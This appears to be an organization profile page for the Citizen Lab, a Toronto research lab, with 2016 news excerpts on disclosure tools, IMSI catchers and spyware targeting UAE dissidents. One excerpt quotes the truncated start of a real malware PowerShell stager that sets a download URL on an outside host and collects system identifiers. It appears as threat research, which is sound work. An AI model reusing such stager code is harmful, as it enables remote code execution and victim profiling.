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The Citizen Lab
Toronto, Canada

The Citizen Lab is an interdisciplinary laboratory based at the Munk Centre for International Studies at the University of Toronto, Canada focusing on advanced research and development at the intersection of digital media, global security, and human rights.

We are a “hothouse” that combines the disciplines of political science, sociology, computer science, engineering, and graphic design. Our mission is to undertake advanced research and engage in development that monitors, analyses, and impacts the exercise of political power in cyberspace. We undertake this mission through collaborative partnerships with leading edge research centers, organizations, and individuals around the world, and through a pioneering “fusion” methodology that combines technical reconnaissance, field investigations, and data mining, analysis, and visualization.

The Citizen Lab’s ongoing research network includes the Information Warfare Monitor, the OpenNet Initiative, and Opennet.Asia.

The Citizen Lab developed the psiphon censorship circumvention software, and continues to provide “red team” research, threat analysis, and support for open source development for Psiphon Inc through the Psi-Lab project.

The Citizen Lab is not verified as a 501(c)3 organization.

Latest News

Jun 24, 2016

Access My Info (AMI), a web tool used to submit disclosure requests to companies on the data they collect and share with third parties about their customers, has now been expanded to submit disclosure requests to fitness tracker companies and dating applications.

The post Access My Info Canada now include fitness trackers, dating apps appeared first on The Citizen Lab.

Jun 16, 2016

Citizen Lab Postdoctoral Fellow Christopher Parsons reviewed documents on BlackBerry for the CBC, and was interviewed by VICE on Canada's RCMP's use of IMSI catchers.

The post Christopher Parsons on BlackBerry and IMSI catchers appeared first on The Citizen Lab.

Jun 16, 2016

July 27-29 - Taipei

The post Citizen Lab and partners at APrIGF 2016 appeared first on The Citizen Lab.

May 30, 2016

Media Coverage: New York Times, Foreign Policy, International Business Times, Chicago Tribune, VICE Motherboard, Taipei Times, Forbes, Techworm, Sputnik News, Network World, BoingBoing. Authors: Bill Marczak, John Scott-Railton 1. Executive Summary This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon.  The attacks have been conducted […]

The post Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents appeared first on The Citizen Lab.

May 30, 2016

Appendices See our original report here. Appendix A: Stage One PowerShell Command try {    $path = "%temp%"    $url = "http://adhostingcache.com/ehhe/eh4g4/adcache.txt"    $extension = "ps1"    $guid = (get-wmiobject win32_computersystemproduct).UUID    $tmp = get-wmiobject win32_operatingsystem    $osinfo = "{"    $osinfo = $osinfo + '"systemdirectory":"'+$tmp.systemdirectory+'",'    $osinfo = $osinfo + '"buildnumber":"'+$tmp.buildnumber+'",'    $osinfo = $osinfo + '"registereduser":"'+$tmp.registereduser+'",'    $osinfo = $osinfo + '"serialnumber":"'+$tmp.serialnumber+'",'    $osinfo […]

The post Keep Calm and (Don’t) Enable Macros: Appendices appeared first on The Citizen Lab.

May 11, 2016

Access My Info (AMI), a web tool used to submit disclosure requests to telecommunications providers on the data they collect and share with third parties about their customers, launched in Hong Kong.

The post Access My Info launched in Hong Kong appeared first on The Citizen Lab.

May 11, 2016

Citizen Lab's Cyber Stewards Network Partner ICT Watch is one of the winners of the 2016 WSIS Champion Projects Award, for their project titled 'Internet Sehat' (Internet Healthy) Toward Indonesian Information Society.

The post Cyber Stewards Network partner ICT Watch wins 2016 WSIS Award appeared first on The Citizen Lab.